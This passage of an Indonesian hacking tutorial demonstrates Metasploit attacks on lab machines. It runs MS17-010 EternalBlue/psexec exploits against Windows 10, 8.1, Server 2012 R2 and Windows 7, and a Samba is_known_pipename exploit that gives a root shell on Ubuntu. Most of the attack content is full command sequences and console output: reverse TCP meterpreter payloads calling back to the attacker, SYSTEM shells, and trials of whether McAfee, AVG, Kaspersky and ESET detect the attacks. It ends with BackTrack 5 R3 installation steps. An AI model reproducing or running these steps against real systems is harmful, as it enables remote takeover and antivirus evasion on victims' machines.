   DBGTRACE              false            yes       Show extra debug trace info
   LEAKATTEMPTS          99               yes       How many times to try to lea
k transaction
```

Ifconfig

set lhost 192.168.1.103

show options

```
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, threa
d, process, none)
   LHOST     192.168.1.103    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.103:4444
[*] 192.168.1.159:445 - Target OS: Windows 10 Enterprise 10240
[*] 192.168.1.159:445 - Built a write-what-where primitive...
[+] 192.168.1.159:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.1.159:445 - Selecting PowerShell target
[*] 192.168.1.159:445 - Executing the payload...
[+] 192.168.1.159:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.1.159
[*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.159:49416) at 2018-02-06 20:18:25 +0700

meterpreter > sysinfo
Computer        : DESKTOP-CD3JGJF
OS              : Windows 10 (Build 10240).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3212 created.
Channel 1 created.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

exploit

Materi sisipan

Hacking SMB Windows 8.1 dan Windows Server 2012 R2 dengan Metasploit

Lanjutan dari hacking SMB Windows 10

```
root@kali:~# msfconsole


  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v4.16.37-dev-                        ]
+ -- --=[ 1734 exploits - 991 auxiliary - 300 post        ]
+ -- --=[ 509 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search ms17-010
[!] Module database cache not built yet, using slow search
```

msfconsole

search ms17-010

```
msf > search ms17-010
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                      Disclosure Date  Rank     Description
   ----                                      ---------------  ----     -----------
   auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   MS17-010 EternalRomance/EternalSynergy/
ernalChampion SMB Remote Windows Command Execution
   auxiliary/scanner/smb/smb_ms17_010                         normal   MS17-010 SMB RCE Detection
   exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  MS17-010 EternalBlue SMB Remote Windows
ernel Pool Corruption
   exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   MS17-010 EternalRomance/EternalSynergy/
ernalChampion SMB Remote Windows Code Execution


msf > use exploit/windows/smb/ms17_010_psexec
```

use exploit/windows/smb/ms17_010_psexec

```
msf exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.1.105
rhost => 192.168.1.105
msf exploit(windows/smb/ms17_010_psexec) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.103  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fe79:a9fa  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:79:a9:fa  txqueuelen 1000  (Ethernet)
        RX packets 672  bytes 60135 (58.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 39  bytes 3360 (3.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 26  bytes 1518 (1.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 26  bytes 1518 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msf exploit(windows/smb/ms17_010_psexec) > set lhost 192.168.1.103
```

set payload windows/meterpreter/reverse_tcp

set rhost 192.168.1.105

ifconfig

set lhost 192.168.1.103

```
msf exploit(windows/smb/ms17_010_psexec) > exploit

u
[*] Started reverse TCP handler on 192.168.1.103:4444
[*] 192.168.1.129:445 - Target OS: Windows 8.1 Pro 9600
[*] 192.168.1.129:445 - Built a write-what-where primitive...
[+] 192.168.1.129:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.1.129:445 - Selecting PowerShell target
[*] 192.168.1.129:445 - Executing the payload...
[+] 192.168.1.129:445 - Service start timed out, OK if running a command or non-service executable...


[*] Sending stage (179779 bytes) to 192.168.1.129

[*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.129:1306) at 2018-02-07 04:12:57 +0700

meterpreter >
meterpreter > u
[-] Unknown command: u.
meterpreter >
meterpreter >
meterpreter > sysinfo
Computer        : PCWINDOWS
OS              : Windows 8.1 (Build 9600).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

exploit

sysinfo

getuid

```
meterpreter > sysinfo
Computer        : PCWINDOWS
OS              : Windows 8.1 (Build 9600).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 1300 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd\
```

shell

Untuk Windows Server 2012 R2 caranya sama dengan di atas, dari langkah di atas hanya tinggal mengganti rhostnya saja

```
msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.1.105
rhost => 192.168.1.105
```

set rhost 192.168.1.105

```
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.103:4444
[*] Sending stage (179779 bytes) to 192.168.1.105
[*] 192.168.1.105:445 - Target OS: Windows Server 2012 R2 Standard 9600
[*] 192.168.1.105:445 - Built a write-what-where primitive...
[*] Meterpreter session 2 opened (192.168.1.103:4444 -> 192.168.1.105:49768) at 2018-02-07 04:22:26 +0700
[*] Sending stage (179779 bytes) to 192.168.1.105
[+] 192.168.1.105:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.1.105:445 - Selecting PowerShell target
[*] 192.168.1.105:445 - Executing the payload...
[*] Meterpreter session 3 opened (192.168.1.103:4444 -> 192.168.1.105:49769) at 2018-02-07 04:22:26 +0700
[*] Sending stage (179779 bytes) to 192.168.1.105
[*] Meterpreter session 4 opened (192.168.1.103:4444 -> 192.168.1.105:49766) at 2018-02-07 04:22:27 +0700
[+] 192.168.1.105:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.1.105
[*] Meterpreter session 5 opened (192.168.1.103:4444 -> 192.168.1.105:49767) at 2018-02-07 04:22:28 +0700

meterpreter > sysinfo
Computer        : WIN-B0CDJQNSSNK
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2820 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

exploit

sysinfo

getuid

shell

Materi sisipan

Hasil dari eksploitasi SMB Windows 7 yang menggunakan antivirus McAfee Security Scan Plus yang didownload dari situsnya feb 2018

McAfee, Inc. NYSE: MFE adalah perusahaan perangkat lunak antivirus dan keamanan komputer yang berpusat di Santa Clara, California. Beberapa produknya adalah McAfee VirusScan, McAfee SpamKiller, IntruShield, Entercept, dan Foundstone. Didirikan pada 1987 sebagai McAfee Associates, dinamai menurut pendiri John McAfee, mereka kemudian bergabung dengan Network General dan membentuk Network Associates pada 1997. Pada 2004 mereka kembali menggunakan nama McAfee. Salah satu perusahaan yang dibeli McAfee adalah Trusted Information Systems, pencipta Firewall Toolkit.

Sumber : https://id.wikipedia.org/wiki/McAfee

McAfee AntiVirus Plus

Advanced security software that protects all your devices from online threats. Compatible with every operating system.

Sumber : http://www.mcafeestore.com/products/anti-virus-plus

Download : https://home.mcafee.com/downloads/free-virus-scan

McAfee
An Intel Company
Security Scan Plus
Home | Settings | Help
Your PC is at risk.
Fix
Scan again
Virus and Spyware Protection
Not found
We did not find any virus protection product on your PC. Don't leave your PC defenseless against the latest threats.
Get McAfee protection.
Firewall Protection
Off
McAfee Web Protection
Not found
Threats Detection
None
At Risk
Your PC is At Risk
Fix Now

```
msf exploit(eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.1.29:4444
[*] Generating Eternalblue XML data
[*] Generating Doublepulsar XML data
[*] Generating payload DLL for Doublepulsar
[*] Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] Launching Eternalblue...
[+] Pwned! Eternalblue success!
[*] Launching Doublepulsar...
[*] Sending stage (957487 bytes) to 192.168.1.58
[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.58:49168) at 2018-0
[+] Remote code executed... 3... 2... 1...

meterpreter > shell
Process 3036 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
```

Jika hacking pakai meterpreter hasilnya bisa lolos

```
root@kalibr:~/MS17-010-master# python hackwin7.py 192.168.1.58
Target OS: Windows 7 Ultimate 7601 Service Pack 1
Using named pipe: samr
Target is 32 bit
Got frag size: 0x8
GROOM_POOL_SIZE: 0x5020
BRIDE_TRANS_SIZE: 0xfc8
CONNECTION: 0x85d94c70
SESSION: 0x9b21ddd8
FLINK: 0x9b351050
InParam: 0x9b34b0dc
MID: 0x2d03
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Opening SVCManager on 192.168.1.58.....
Creating service keJK.....
Starting service keJK.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - Th
 not respond to the start or control request in a timely fashion.
Removing service keJK
```

Menggunakan exploit lain

```
root@kalibr: ~/MS17-010-master
File  Edit  View  Search  Terminal  Help
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - Th
 not respond to the start or control request in a timely fashion.
Removing service omqc.....
Opening SVCManager on 192.168.1.58.....
Creating service XUuA.....
Starting service XUuA.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - Th
 not respond to the start or control request in a timely fashion.
Removing service XUuA.....
Opening SVCManager on 192.168.1.58.....
Creating service BKDP.....
Starting service BKDP.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - Th
 not respond to the start or control request in a timely fashion.
Removing service BKDP.....
Opening SVCManager on 192.168.1.58.....
Creating service Reqw.....
Starting service Reqw.....
The NETBIOS connection with the remote host timed out.
Removing service Reqw.....
ServiceExec Error on: 192.168.1.58
Unexpected answer from server: Got 46, Expected 47
Done
root@kalibr:~/MS17-010-master#
```

```
data.html
########################## HERCULES
 SYSGUIDE

icrosoft Windows [Version 6.1.7601]

> User : WINDOWS7-PC$

> AV :

:\Users\Public\Downloads>
```

Jika pakai Hercules juga bisa lolos

McAfee
An Intel Company
Security Scan Plus
Home | Settings | Help
Your PC is at risk.
Fix
Scan again
Virus and Spyware Protection
Not found
We did not find any virus protection product on your PC. Don't leave your PC defenseless against the latest threats.
Get McAfee protection.
Firewall Protection
Off
McAfee Web Protection
Not found
Threats Detection
None
At Risk
Your PC is At Risk
Fix Now

McAfee
Together is power.
YOUR PC IS AT RISK: Be safe with powerful McAfee protection
TOTAL PROTECTION 2013
McAfee
Total Protection
Ultimate online security
$89.99
$44.99
Save $45
Protects up to 3 PCs for 1 year
BUY NOW

Materi sisipan

Hasil dari eksploitasi SMB Windows 7 yang menggunakan antivirus AVG 2016

AVG adalah program antivirus yang dibuat oleh AVG Technologies. Sebelum bernama AVG Technologies, perusahaan ini bernama Grisoft.

Revisi AVG Anti-Virus saat ini adalah versi 9.0.xxx dan sejak versi ke-10, program ini lebih menonjolkan tahun rilis daripada versinya, misalnya untuk versi 10 bernama AVG Anti-Virus 2011.

Keunikan AVG dari antivirus lain ialah LinkScanner. Guna LinkScanner adalah men-scan tautan pranala saat menjelajah di dunia maya. Link Scanner berfungsi dengan baik pada peramban Mozilla Firefox dan Internet Explorer. Selain itu, kelebihan dari AVG adalah tersedianya fitur Anti-Rootkit. Tetapi, hanya satu kekurangan AVG. AVG sebagian besar hanya akan men-karantina virus yang dideteksi,tidak seperti antivirus lain yang dapat menghapus saat pendeteksian. AVG memang kuat pada pendeteksian, tetapi sering dinilai lambat dalam pemindaian. Tapi AVG sudah memiliki fitur yang lengkap perihal keamanan. Jadi sistem proteksi pada AVG dinilai lengkap dan canggih.

Sumber : https://id.wikipedia.org/wiki/AVG_Anti-Virus

History

The brand AVG comes from Grisoft's first product, "Anti-Virus Guard", launched in 1992 in Czech Republic. In 1997, the first AVG licenses were sold in Germany and UK. AVG was introduced in the U.S. in 1998.

The AVG Free Edition helped raise awareness of the AVG product line. In 2006, the AVG security package grew to include anti-spyware, as AVG Technologies acquired ewido Networks, an anti-spyware group. That same year, Microsoft announced that AVG components would be available directly within the Windows Vista operating system. AVG Technologies acquired Exploit Prevention Labs (XPL) in December 2007, and incorporated that company's LinkScanner safe search and surf technology into the AVG 8.0 security product range released in March 2008. In January 2009, AVG Technologies acquired Sana Security, a developer of identity theft prevention software. This software was incorporated into the AVG security product range released in March 2009.

According to AVG Technologies, the company has more than 200 million active users worldwide, including more than 100 million who use their products and services on mobile devices.

On 7 July 2016, Avast announced an agreement to acquire AVG for $1.3 billion.

Sumber : https://en.wikipedia.org/wiki/AVG_AntiVirus

Download di bawah ini

Hasilnya setelah instalasi

Saat dieksploitasi memanfaatkan payload hasilnya berhasil dilakukan remote (bypass antivirus avg 2016)

Tapi jika menggunakan metasploit hasilnya exploit tidak berjalan dengan baik

Materi sisipan

Hasil dari eksploitasi SMB Windows 7 yang menggunakan antivirus Kaspersky Anti-virus 2017

Kaspersky Anti-Virus (bahasa Rusia: Антивирус Касперского; sebelumnya disebut AntiViral Toolkit Pro; sering disingkat KAV) adalah sebuah program antivirus yang dikembangkan oleh Kaspersky Lab. Program ini dirancang untuk melindungi pengguna dari malware dan khusus komputer yang menjalankan Microsoft Windows dan Mac OS X, meski ada juga versi Linux untuk konsumen bisnis.

Sumber : https://id.wikipedia.org/wiki/Kaspersky_Anti-Virus

Setelah diinstall

Aktivasi selesai

Licensing

Komputer telah diproteksi

Tapi jika dieksploit menggunakan metasploit dengan payload meterpreter hasilnya teremote

Menggunakan payload Hercules juga berhasil

Materi sisipan
Eksploitasi SMB Windows 7 yang menggunakan ESET NOD32 ANTIVIRUS 9

ESET is an IT security company that offers anti-virus and firewall products such as ESET NOD32. It was founded in 1992. ESET is headquartered in Bratislava, Slovakia, and was awarded the recognition of the most successful Slovak company in 2008, 2009 and in 2010.

Sumber : https://en.wikipedia.org/wiki/ESET

Real-time file system protection menyala (default)

Saat di eksploitasi berhasil dilakukan dengan payload hercules

```
07/13/2009  06:14 PM            41,472 xwizard.exe
07/13/2009  06:16 PM           354,816 xwizards.dll
07/13/2009  06:16 PM            85,504 xwreg.dll
07/13/2009  06:16 PM           158,208 xwtpdui.dll
07/13/2009  06:16 PM           107,520 xwtpw32.dll
07/13/2009  06:16 PM           222,720 zgmprxy.dll
07/13/2009  07:37 PM    <DIR>          zh-CN
07/13/2009  07:37 PM    <DIR>          zh-HK
07/13/2009  07:37 PM    <DIR>          zh-TW
11/20/2010  04:21 AM           327,680 zipfldr.dll
               2725 File(s)  1,001,926,038 bytes
                 91 Dir(s)  14,852,104,192 bytes free

c:\Users\Public\Downloads>
```

Bisa mengakses shell

```
[*] Generating payload DLL for Doublepulsar
[*] Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] Launching Eternalblue...
[+] Pwned! Eternalblue success!
[*] Launching Doublepulsar...
[*] Sending stage (957487 bytes) to 192.168.1.139
[+] Remote code executed... 3... 2... 1...

[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.139:49263) at 2
018-02-11 15:52:14 -0500

meterpreter >
meterpreter > shell
[-] Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > sysinfo
Computer        : WINDOWS7-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >
```

Jika menggunakan meterpreter dari msf, hasilnya seperti di atas, yaitu berhasil masuk tapi gak bisa masuk shell

Terdeteksinya seperti di atas

Ketik shell lagi masih tidak bisa

```
[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.139:49263) at 2
018-02-11 15:52:14 -0500

meterpreter >
meterpreter > shell
[-] Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > sysinfo
Computer        : WINDOWS7-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > shell
[-] Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > ls
[-] Error running command ls: Rex::TimeoutError Operation timed out.
meterpreter >
```

Perintah ls dari meterpreter juga tidak bisa

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
meterpreter > shell
[-] Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > sysinfo
Computer        : WINDOWS7-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > shell
[-] Error running command shell: Rex::TimeoutError Operation timed out.
meterpreter > ls
[-] Error running command ls: Rex::TimeoutError Operation timed out.
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.29 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Users\windows7\AppData\Local\Temp\fugztOJvL.exe
 (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.1.29:4545...
[-] Error in script: Rex::Post::Meterpreter::RequestError stdapi_sys_process_exe
cute: Operation failed: Access is denied.
meterpreter >
```

Perintah run vnc juga tidak jalan.

Hasilnya terdeteksi seperti di atas

Hasil dari eksploitasi SMB Windows 7 yang menggunakan antivirus AVG 2018

Download : https://www.avg.com/en-ww/download-thank-you.php?product=freegsr&variant=ppc_2075

Menggunakan Basic Protection

Eksploitasi gagal

Terdektesi serangan

```
File  Edit  View  Search  Terminal  Help
leak failed... try again
CONNECTION: 0x8517d710
SESSION: 0x97221958
FLINK: 0x97e01028
InParam: 0x9c3100dc
MID: 0x4203
unexpected alignment, diff: 0x-450ffd8
leak failed... try again
CONNECTION: 0x8517d710
SESSION: 0x97221958
FLINK: 0x9c322050
InParam: 0x9c31c0dc
MID: 0x4203
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Opening SVCManager on 192.168.1.141.....
Creating service qDVe.....
ServiceExec Error on: 192.168.1.141
The NETBIOS connection with the remote host timed out.
Done
root@kalibr:~/MS17-010-master#
```

Memggunakan exploit berbeda juga tidak bisa

Terdeteksi antivirus

Meskipun terdeteksi antivirus tapi attacker dapat membuat file, menyalin data, membuat direktori tanpa terdeteksi antivirus, hanya saja prosesnya jadi lebih kompleks.

Materi sisipan

Hacking SAMBA pada Ubuntu Server untuk mendapatkan akses shell

msfconsole

search samba

```
root@kalibr: ~
File  Edit  View  Search  Terminal  Help
amba _netr_ServerPasswordSet Uninitialized Credential St
   exploit/freebsd/samba/trans2open                    2003-
amba trans2open Overflow (*BSD x86)
   exploit/linux/samba/chain_reply                     2010-
amba chain_reply Memory Corruption (Linux x86)
   exploit/linux/samba/is_known_pipename               2017-
amba is_known_pipename() Arbitrary Module Load
   exploit/linux/samba/lsa_transnames_heap             2007-
amba lsa_io_trans_names Heap Overflow
   exploit/linux/samba/setinfopolicy_heap              2012-
amba SetInformationPolicy AuditEventsInfo Heap Overflow
   exploit/linux/samba/trans2open                      2003-
amba trans2open Overflow (Linux x86)
   exploit/multi/samba/nttrans                         2003-
```

Pilih seperti di atas

```
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic (Interact)
   1   Automatic (Command)
   2   Linux x86
   3   Linux x86_64
   4   Linux ARM (LE)
   5   Linux ARM64
   6   Linux MIPS
   7   Linux MIPSLE
   8   Linux MIPS64
   9   Linux MIPS64LE
   10  Linux PPC
   11  Linux PPC64
   12  Linux PPC64 (LE)
   13  Linux SPARC
   14  Linux SPARC64
   15  Linux s390x


msf exploit(is_known_pipename) >
```

use exploit/linux/samba/is_known_pipename

Saat target diakses samba nya

```
msf exploit(is_known_pipename) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(is_known_pipename) > set SMB_FOLDER /profiles
SMB_FOLDER => /profiles
msf exploit(is_known_pipename) > set rhost 192.168.1.105
rhost => 192.168.1.105
msf exploit(is_known_pipename) > exploit

[*] 192.168.1.105:445 - Using location \\192.168.1.105\profiles\ for the path
[*] 192.168.1.105:445 - Retrieving the remote path of the share 'profiles'
[*] 192.168.1.105:445 - Share 'profiles' has server-side path '/home
[*] 192.168.1.105:445 - Uploaded payload to \\192.168.1.105\profiles\EexzwIQF.so
[*] 192.168.1.105:445 - Loading the payload from server-side path /home/EexzwIQF.so using \\PIPE\/home/EexzwIQF.
so...
[-] 192.168.1.105:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.1.105:445 - Loading the payload from server-side path /home/EexzwIQF.so using /home/EexzwIQF.so...
[-] 192.168.1.105:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.1.105:445 - Uploaded payload to \\192.168.1.105\profiles\QhUlCMnm.so
[*] 192.168.1.105:445 - Loading the payload from server-side path /home/QhUlCMnm.so using \\PIPE\/home/QhUlCMnm.
so...
[-] 192.168.1.105:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.1.105:445 - Loading the payload from server-side path /home/QhUlCMnm.so using /home/QhUlCMnm.so...
[+] 192.168.1.105:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.223:41971 -> 192.168.1.105:445) at 2018-01-01 00:01:03 -0500

whoami
root
```

set payload cmd/unix/interact

set SMB_FOLDER /profiles

set rhost 192.168.1.105

exploit

```
whoami
root
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.105  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fed4:398a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:d4:39:8a  txqueuelen 1000  (Ethernet)
        RX packets 1306  bytes 143429 (143.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 409  bytes 59932 (59.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 349  bytes 25529 (25.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 349  bytes 25529 (25.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

pwd
/tmp
```

Hasilnya setelah berhasil masuk

Materi sisipan

Memperbarui backtrack 5 R3 untuk hacking Windows 7 & ARP Spoofing

BackTrack

BackTrack was a Linux distribution that focused on security, based on the Knoppix Linux distribution aimed at digital forensics and penetration testing use. In March 2013, the Offensive Security team rebuilt BackTrack around the Debian distribution and released it under the name Kali Linux.

History

The BackTrack distribution originated from the merger of two formerly competing distributions which focused on penetration testing:

WHAX: a Slax-based Linux distribution developed by Mati Aharoni, a security consultant. Earlier versions of WHAX were called Whoppix[6] and were based on Knoppix.

Auditor Security Collection: a Live CD based on Knoppix developed by Max Moser which included over 300 tools organized in a user-friendly hierarchy.

The overlap with Auditor and WHAX in purpose and in collection of tools partly led to the merger.

Releases

Date	Release
February 5, 2006	BackTrack v.1.0 Beta
May 26, 2006	First release of Backtrack v.1.0
March 6, 2007	BackTrack 2 final released.
June 19, 2008	BackTrack 3 final released.
January 9, 2010	BackTrack 4 final release. (Linux kernel 2.6.30.9)
May 8, 2010	BackTrack 4 R1 release
November 22, 2010	BackTrack 4 R2 release
May 10, 2011	BackTrack 5 release (Linux kernel 2.6.38)
August 18, 2011	BackTrack 5 R1 release (Linux kernel 2.6.39.5)
March 1, 2012	BackTrack 5 R2 release (Linux kernel 3.2.6)
August 13, 2012	BackTrack 5 R3 release

Sumber : https://en.wikipedia.org/wiki/BackTrack

Install backtrack 5 R3 di VirtualBox

Isi name lalu klik Next

Isi jumlah RAM yang ingin digunakan lalu klik Next

Pilih Create a virtual hard disk now lalu klik Create

Pilih VDI lalu Next

Pilih Dynamic allocated lalu klik Next

Isi nama file yang akan digunakan, set kapasitas hard disk virtual

Klik kanan pada Backtrack 5 R3 seperti di atas lalu pilih Settings…

Set networknya disesuaikan dengan kondisi di saat training

Pilih Storage lalu masukkan file ISO dari Backtrack 5 R3 ke Virtualbox

Hasilnya seperti di atas

Jalankan backtrack, pilih Backtrack Text

Loading

Ketik startx lalu enter

Install BackTrack

Pilih English lalu Forward

Klik Forward

Klik Forward

Pilih Erase and use the entire disk lalu forward

Klik Install

Proses instalasi

```
        (++) from command line, (!!) notice, (II) informational,
        (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/Xorg.0.log", Time: Mon Oct  2 18:43:31 2017
(==) Using config directory: "/usr/lib/X11/xorg.conf.d"
(EE) Failed to load module "vboxvideo" (module does not exist, 0)
The XKEYBOARD keymap compiler (xkbcomp) reports:
> Warning:          Type "ONE_LEVEL" has 1 levels, but <RALT> has 2 symbols
>                   Ignoring extra symbols
Errors from xkbcomp are not fatal to the X server
(EE) VirtualBox USB Tablet: failed to initialize for relative axes.

Broadcast message from root@bt
        (unknown) at 5:56 ...

The system is going down for reboot NOW!
/opt/metasploit/postgresql/scripts/ctl.sh : postgresql stopped
/opt/metasploit/postgresql/scripts/ctl.sh : postgresql not running
 * Asking all remaining processes to terminate...                    [ OK ]
 * All processes ended within 1 seconds....                          [ OK ]
 * Deactivating swap...                                              [ OK ]
 * Stopping remaining crypto disks...                                [ OK ]
 * Stopping early crypto disks...                                    [ OK ]
 * casper is resyncing snapshots and caching reboot files...
Please remove installation media and close the tray (if any) then press ENTER:
```

"The quieter you become, the more you are able to hear."

```
[  888.331149] pcnet32: Found PHY 0022:561b at address 0
[  888.332212] pcnet32: eth0: registered as PCnet/FAST III 79C973
[  888.351713] pcnet32: 1 cards_found
[  888.354236] ACPI: Video Device [GFX0] (multi-head: yes  rom: no  post: no)
[  888.432493] usb 2-1: new full-speed USB device number 2 using ohci_hcd
[  888.668359] Refined TSC clocksource calibration: 2594.041 MHz.
[  888.675183] input: VirtualBox USB Tablet as /devices/pci0000:00/0000:00:06.0/us
[  888.675851] generic-usb 0003:80EE:0021.0001: input,hidraw0: USB HID v1.10 Mouse
/input0
[  888.678130] usbcore: registered new interface driver usbhid
[  888.678650] usbhid: USB HID core driver

BackTrack 5 R3 - 32 Bit bt tty1
bt login: root
Password:
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

  System information as of Tue Oct  3 05:58:11 WIT 2017

  System load:  0.06                Processes:           65
  Usage of /:   18.6% of 61.24GB    Users logged in:     0
  Memory usage: 2%                  IP address for eth0: 192.168.1.101
  Swap usage:   0%

  Graph this data and manage this system at https://landscape.canonical.com/
root@bt:~# startx_
```

Masuk di backtrack, ketik startx

```
root@bt:/# apt-get remove metasploit
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libdmraid1.0.0.rc16 python-pyicu libdebian-installer4 cryptsetup
  libecryptfs0 reiserfsprogs rdate bogl-bterm ettercap ecryptfs-utils
  libdebconfclient0 dmraid
Use 'apt-get autoremove' to remove them.
The following packages will be REMOVED:
  easy-creds jboss-autopwn metasploit
0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded.
After this operation, 0B of additional disk space will be used.
Do you want to continue [Y/n]?
```

Hapus metasploit lama dari backtrack dengan ketik apt-get remove metasploit

```
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
